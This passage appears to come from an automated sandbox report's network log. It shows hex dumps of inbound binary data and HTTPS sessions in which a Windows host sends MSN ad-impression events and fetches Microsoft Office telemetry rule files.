18:55:488
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: f6 7f 68 ab 90 5c e9 32 c3 b2 eb 47 f2 e4 ff 00 9e 91 4b b2 9b 25 b4 7f c1 0f fd fc a8 a4 8b 64 3f bc 9a a6 e9 ec 09 cd 2d 75 22 91 60 fe 09 bc b8 ff 00 e9 ad 13 db 6c 86 37 7f de 79 9f ea fc a9 77 d5 79 da 04 ff 00 57 0f 99 ff 00 4d 28 b1 8a 37 87 7d 57 28 45 5d ec 7d ad cd 26 fa 65 36 bf 15 3f 55 b0 ea 8e 9d 4d a5 72 c8 64 5a 6f 97 52 c8 b4 bc d1 70 21 db 4d da 6a 4a 6c 8b 4c 56 22 d9 4b cd 3a 8a 77 11 0d 36 4a 96 4a 64 8b 57 11 58 8d ea bc 95 63 69 a8 64 5a d0 44 7b aa 48 da a2 f2 a9 f1 ad 3d c0 b1 1b 54 e8 d5 56 35 a9 e0 5a 96 04 9c d3 a3 6a 4f 2a 9f 1c 75 1c c8 76 1d 1b 54 d1 b5 32 38 a3 a9 6a 5c 86 3a 36 a9 aa 14 a9 39 a9 25 a1 d4 e8 e9 d1 ec ed 43 b2 50 65 cc 47 50 b7 cd c5 4d 23 54 3b a8 34 80 df 29 29 8d 1e 6a 6f 36 a2 dd 41 a2 bf 51 89 16 fa 96 Data Ascii: h\2GK%d?-u"`l7ywyWM(7}W(E]}&e6?UMrdZoRp!MjJlLV"K:w6JJdWXcidZD{H=TV5ZjO*uvT28j\:69%CPeGPM#T;4))jo6AQ
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: f4 0a 9d e2 d9 56 bc 39 17 fc 53 3a 6f fd 79 43 ff 00 a0 54 b3 c1 be 1d 95 83 56 6f d4 71 d8 c3 92 2d f3 7f ae a8 24 82 b6 64 b6 aa 17 56 d2 7f 1c df f7 ea b6 8b bb 33 96 88 ce 92 2a 93 ec 72 7f 1d 36 4b 19 3c ef f5 34 49 63 b2 1f f9 e7 5d 4a 37 39 d4 ac 55 d5 60 df f2 79 d5 04 7e 63 c3 e4 3f fa ba d6 d3 6c e0 f3 be 7a ab e5 40 93 49 fb 9a b8 f6 14 b7 29 7d 9a 3f e0 a8 e4 59 12 6a d6 f2 a0 f2 6a ad d2 c9 e4 c8 e9 0f fa b8 fc ca d1 19 4d 68 53 f2 ff 00 eb b5 3a 35 a9 6d 56 49 7c cd ff 00 f2 cf 67 fe 81 53 c6 d1 c5 f7 3f d6 56 a6 65 5f 2e 4a 9a d6 29 25 9b 62 7f ac a7 7e ef f8 ea 5b 59 fc a9 a3 7f f9 e7 40 73 22 5f b1 cf fc 75 6b ec d3 bf 95 b3 ca f2 e9 bf da 7b ff 00 e5 8d 49 1e a7 ff 00 4c 6b 1b 48 e8 8b a6 ba 93 41 6b 3f fd 31 a7 79 52 45 f7 e1 a2 0d 43 Data Ascii: V9S:oyCTVoq-$dV3*r6K<4Ic]J79U`y~c?lz@I)}?YjjMhS:5mVI\|gS?Ve_.J)%b~[Y@s"_uk{ILkHAk?1yREC
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: fb b8 e3 8a ed eb ae 9d 3e 6e 86 35 2a 28 a7 76 4f aa ad a7 d9 24 d9 0e b9 6f 3c 77 3f e8 de 6c 49 b2 3b 5f e2 ff 00 69 65 ff 00 c7 6b 1b 55 be 82 2d 72 e5 f4 bb c9 a4 82 4f f9 69 7d 16 c9 a4 ff 00 7d 53 e4 a9 64 96 77 87 7c f3 4d 24 92 7f cf 59 5e aa f9 b7 7f c7 e4 ff 00 d3 3f de d7 a1 4e 36 39 27 24 d8 7e fd ed 3c 8f f9 67 ff 00 5c ab 47 4d d0 75 ad 76 1d e9 67 34 91 ff 00 cf cc b1 3a 27 fd f5 fc 75 57 4d b6 d4 ae fc c9 13 ec 91 f9 7f f3 d6 ef 67 99 56 35 8b e9 f4 ff 00 2d 35 0d 63 cb 93 cb fd dc 71 6a 0e ff 00 fa 0d 69 ef bd 22 66 a5 0e ac 96 eb c1 37 69 fe a2 6f 33 cb ff 00 57 ff 00 4d 3f f8 9a c4 ba d3 e4 4b b9 2d 6e bc eb 79 fc bf 32 da 39 62 7f f4 8a bd 1e a7 3b c3 1b c1 35 dd c4 72 7f cf 29 9e a9 f9 57 72 cd f6 a9 fe d7 24 fe 67 99 e6 7c fb ea d4 Data Ascii: >n5*(vO$o<w?lI;_iekU-rOi}}Sdw\|M$Y^?N69'$~<g\GMuvg4:'uWMgV5-5cqji"f7io3WM?K-ny29b;5r)Wr$g\|
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: f3 fe ba d6 3c ce 47 42 8a 5b 22 c5 8f 97 a7 cd f6 ab 59 bf 7f 71 fe b2 49 62 47 7f e5 4d 9e 7b 44 87 f7 f0 cd 24 97 1f f2 d2 59 76 79 7f ee ad 57 ba f9 21 8f f7 df bb ab 9e 1f d2 35 6d 76 6f 23 48 d3 6e f5 19 3f e9 94 4e e9 ff 00 7d f4 a4 95 82 f6 20 f3 fe cf 34 69 65 35 dc 7e 5f fa bf 37 62 3f fe 39 5d 0e 87 e3 1f 18 5b dd f9 1f db da 85 cc 9f f3 ce e6 24 9b ff 00 1d ab 52 7c 30 bb 48 63 4f 10 ea 5a 4e 95 e5 c8 92 7d 9a fa ed 37 ff 00 b3 fb b4 dd 25 3a 7d 23 c1 9a 3c db ee bc 55 77 27 df fd e5 8d a6 c4 d9 fd dd f2 55 f2 d4 92 bc 51 32 94 2f a9 bd e1 ff 00 88 da b2 4d 1a 78 86 cf 4f 92 3f f9 69 25 8e ff 00 3a 3f fb 67 fc 55 2d d7 c4 dd 27 ed 7b 13 47 bb b8 83 fe ba a7 9d bf fd 98 eb 8a 93 c5 5e 0c 8b cb 48 3c 37 f6 df 2f fe 7e 75 07 b9 f9 ff 00 dd 8f 6a Data Ascii: <GB["YqIbGM{D$YvyW!5mvo#Hn?N} 4ie5~_7b?9][$R\|0HcOZN}7%:}#<Uw'UQ2/MxO?i%:?gU-'{G^H<7/~uj
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: 9d 3e 7a 1c 5f 42 b9 99 a5 6b e5 bc 3f f1 e7 e5 ff 00 9f ee d5 a8 1a 38 a1 f9 ec e6 f3 3f e7 9c bf 7e b9 f9 f5 09 ff 00 76 9f be 92 b4 60 82 47 87 f7 ff 00 eb 2a 65 09 5b 53 55 51 b3 46 46 8f f7 7e 7c 3f bc a6 ea 53 c9 6f f7 21 f2 fc ba af 1f 9e f3 6c 48 7f 77 45 d3 5a 45 f2 5d 5e 4b 27 99 fe b3 fb 95 9c 63 a8 ae 16 37 9b fc c7 ba bc fb 3c 71 ff 00 cf 59 a9 f0 ea ba 6b cd 1d ac 17 9a 7f 9f 27 ef 23 f3 65 4f b9 5e 73 e3 fd 42 c2 e2 69 1f 4e 9a 68 e7 8e 3f 2e e6 da 5d 8f 0d da 6f f9 76 a5 73 51 c5 27 9d 27 ee 61 f3 2d ff 00 d6 7d cf dd d6 8e 26 8a 3a 1e c9 a3 f8 8e 0d 62 ee 48 6d 75 2f b4 7f cf 48 e5 8b 63 ff 00 fb 35 7a 4d 3e 07 86 37 9e f3 cb 8f fe 59 d7 8f 78 72 fb ec 5a e6 9b 75 3f ee e0 8e e5 3e d3 ff 00 4d 22 fe 2a f5 5f ed e8 12 68 e0 79 ad 3f d2 23 Data Ascii: >z_Bk?8?~v`Ge[SUQFF~\|?So!lHwEZE]^K'c7<qYk'#eO^sBiNh?.]ovsQ''a-}&:bHmu/Hc5zM>7YxrZu?>M"_hy?#
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: 63 0b a2 f7 46 b5 8c 11 f9 db e0 ff 00 49 f3 3f e5 9f ff 00 12 d4 e9 25 b4 4f 31 27 86 1f 3e 4f dd ff 00 fb 75 8f 04 9b 3e fd 11 cb 24 b3 44 89 0f 99 25 2e 46 de e2 b9 a3 ba 3f b2 46 e9 0f 97 24 9f fa 05 3e 0b c8 2d 22 df f6 3f 33 fe 7a 7e f6 8f b0 cf fd 9f bd e6 b4 8e 38 ff 00 e9 af f1 d6 7f d8 ec 1f e4 fe d2 86 49 3f d6 7e ea 27 a5 75 2d d8 bd f4 cd 7d 37 53 82 e2 ef 64 30 fe f3 cb 7f f9 6b ff 00 a0 d6 8d d4 71 bf df ff 00 57 1d 64 e8 f6 73 e9 ff 00 e9 b3 f9 31 bf fc f3 f3 7e 7a 8b 52 be fb 44 db de 1f f5 71 d4 ba ae fe e9 aa 8a b5 e4 5f 93 ec 0f f2 3f da fc c8 ff 00 e5 9f c8 95 5e 49 6d 22 9a 4f f4 39 a3 8e 3d 9f bb 96 5f f5 95 93 05 e4 17 13 6c ff 00 57 27 fd f7 f7 69 d7 57 9b ed 37 ff 00 cb 48 ff 00 e5 a5 5a 95 5b ad 41 b8 76 36 af 9a 38 bf e3 d6 6f Data Ascii: cFI?%O1'>Ou>$D%.F?F$>-"?3z~8I?~'u-}7Sd0kqWds1~zRDq_?^Im"O9=_lW'iW7HZ[Av68o
2024-11-27 23:19:21 UTC	16067	IN	Data Raw: 3f bc ff 00 a6 5f fa 0d 51 f3 e7 f3 b6 7f cb 3f f9 e7 2d 6b 69 b7 d7 f7 7a 4c 7a 8c f6 73 49 05 c7 ee e3 93 ee 7c eb f7 bf de a8 af 9a 4d 42 ee 4b 5b a9 a1 b7 f2 ff 00 d5 c9 17 ff 00 13 57 1a 8e 2e d2 33 71 46 34 93 c9 17 cf 3c de 5c 7f f4 ca aa c9 a9 c8 ff 00 3d 95 9c df bb ff 00 96 9e 55 58 ba d2 b7 dd fd 95 26 f3 23 8f 67 99 e5 7f cb 3a e8 23 d3 f4 db 4d 0f ec be 77 99 24 9f bc f3 3f 8f fb d5 b3 ad 4d 25 d6 e6 4a 33 67 1b ac 4b ff 00 12 fd e9 fe c5 63 6d df f3 d7 57 ac 69 52 79 3b 2c a6 86 e2 39 24 fd e7 ee ab 23 52 b3 fb 14 b1 a4 f0 f9 7e 64 7f bb ae da 35 15 ac 61 38 bb 99 71 f9 9e 4e f7 a7 a7 98 ff 00 3b d3 bf 76 ff 00 72 1f dd c7 4e 8f fd 4e fa e9 b9 9a 57 1b 22 ec ff 00 a6 74 40 d1 bc db 3f d5 d3 64 5f ef d1 6b 14 8f 36 c4 87 cc f2 ff 00 e5 9d 27 Data Ascii: ?_Q?-kizLzsI\|MBK[W.3qF4<\=UX&#g:#Mw$?M%J3gKcmWiRy;,9$#R~d5a8qN;vrNNW"t@?d_k6'
2024-11-27 23:19:21 UTC	16384	IN	Data Raw: f1 a7 cf 3f 98 bf 2f dd e7 fd a7 4a c9 f1 a5 9f 84 fc 19 e1 eb ed 47 4b bc 9b 51 9e 3d 97 1f e9 df 7f f7 89 b6 4d cb f7 7e 7f ee d5 0b 1f 19 ea da de 9f 73 7b 6b 67 0c 77 d6 df e9 77 3f 66 97 fe 3d ff 00 bf ec db bf bb 5c 57 8d 35 c8 ef bc 27 73 b2 1b bb 78 ee 3f 77 1c 72 c5 ff 00 3c df 76 f7 7f e3 ff 00 77 f8 68 a7 86 c4 ca a2 a7 53 44 9e a9 0a ae 3e 83 a6 dd 35 af 99 af a9 5b 68 b6 9f 0f 63 7d 2e 1f 32 3d 56 47 93 f7 52 a2 3c 69 b3 e5 f3 3f bc ce df c1 f8 9a e0 67 5d 36 de d2 4b ab d8 66 8e 78 e4 4f 2e 38 a2 ae 96 d6 e6 ee 28 7e cb aa 69 b3 7f 66 e9 5a 02 7f aa 8b fd 64 aa 9f 2f 97 ba b8 1d 4a 59 e5 b4 92 74 87 cc 8f e4 f3 3c af f9 67 5d 78 7c 34 e3 5e 6a ee cd de fd cf 2e a5 4e 64 9d c7 5d 6c bd 86 47 fd cc 77 51 c7 e6 47 1c 51 7f ac ff 00 7e b0 f5 c5 Data Ascii: ?/JGKQ=M~s{kgww?f=\W5'sx?wr<vwhSD>5[hc}.2=VGR<i?g]6KfxO.8(~ifZd/JYt<g]x\|4^j.Nd]lGwQGQ~
2024-11-27 23:19:22 UTC	16384	IN	Data Raw: dd eb d1 b4 3b cf 0f 5d e9 32 6a 33 cd 69 6d 1c 92 79 9f 66 fb 23 ef b8 7f f9 e9 e6 56 0f 88 f4 3f 0b cb 77 6d 3d d5 9f 99 3c 9f ea e4 8a ef fd 66 ef e0 f9 7f bb 5a 61 b1 ce 93 71 49 c6 e6 35 a9 a9 5a fa 99 d6 3e 1e f0 f3 e9 ff 00 3e bd e5 c9 fe b2 4b 9f f9 63 1c 5f dd db fd ea 64 9e 09 9d 34 99 6f 74 ed 62 1b d9 3c b4 fd dc 51 7c 92 6e ff 00 7b fd 9a e4 ff 00 b0 f5 6b b8 6f ad 6c b4 79 b6 47 6c f7 11 c7 2f c8 f2 45 bf 66 e8 ff 00 bf ff 00 b3 76 a6 68 7a ae a5 65 0c 77 53 f9 d6 f0 49 27 ee fc df ee 7f 17 bd 7a b0 ad 59 ab aa 97 30 95 28 35 cb 24 6f 68 6b b2 ee 47 7f 3b fd 1f f7 72 7f f6 55 d2 da df 40 90 ec 79 bc bf 2f fe 59 f9 5b 2b 9a f0 cd f4 1a ae ad 73 74 90 fe ee 3f f5 9f 69 96 bb 7f 0e 69 d6 0f a7 c9 65 a8 c3 0d ef fc b4 f3 3f de ad eb 54 a6 de a1 Data Ascii: ;]2j3imyf#V?wm=<fZaqI5Z>>Kc_d4otb<Q\|n{kolyGl/EfvhzewSI'zY0(5$ohkG;rU@y/Y[+st?iie?T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49719	20.31.169.57	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:20 UTC	265	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 1506 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-27 23:19:20 UTC	1506	OUT	Data Raw: 50 49 44 3d 34 32 36 30 38 31 35 34 32 26 54 49 44 3d 31 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 31 36 31 35 36 30 39 26 42 49 44 3d 31 36 36 35 36 37 38 37 37 38 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 55 26 54 50 49 44 3d 34 32 36 30 38 31 35 34 32 26 52 45 51 41 53 49 44 3d 42 31 34 34 34 38 46 33 38 46 45 30 34 45 46 43 41 33 34 36 41 37 38 43 35 31 30 38 35 30 39 42 26 41 53 49 44 3d 64 35 36 37 33 38 35 39 34 39 39 31 34 36 30 36 39 33 64 36 33 34 61 64 61 39 32 65 37 62 62 66 26 54 49 4d 45 3d 32 30 32 34 31 31 32 37 54 32 33 31 39 31 34 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 34 31 31 32 37 54 32 33 31 39 30 37 26 4d 41 5f 53 63 6f 72 65 3d 30 26 26 44 53 5f 45 56 54 49 44 3d 42 31 34 34 34 38 46 Data Ascii: PID=426081542&TID=1&CID=128000000001615609&BID=1665678778&PG=PC000P0FR5.0000000IRU&TPID=426081542&REQASID=B14448F38FE04EFCA346A78C5108509B&ASID=d56738594991460693d634ada92e7bbf&TIME=20241127T231914Z&SLOT=1&REQT=20241127T231907&MA_Score=0&&DS_EVTID=B14448F
2024-11-27 23:19:21 UTC	394	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 23:19:21 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:22 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:22 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:22 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231922Z-174f78459685726chC1EWRsnbg0000000xpg00000000949p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:22 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:22 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:22 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e4b3ee88-e01e-0071-3267-4008e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231922Z-174f7845968swgbqhC1EWRmnb40000000xt0000000008wwq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:22 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:22 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:22 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:22 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231922Z-174f7845968psccphC1EWRuz9s0000000xxg000000003zfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:22 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:22 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:22 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:22 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231922Z-174f7845968n2hr8hC1EWR9cag0000000x5000000000mebe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:22 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:22 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:22 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231922Z-174f7845968zgtf6hC1EWRqd8s0000000qn0000000004s05 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:23 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:24 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231924Z-174f7845968ljs8phC1EWRe6en0000000xc000000000hkf4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
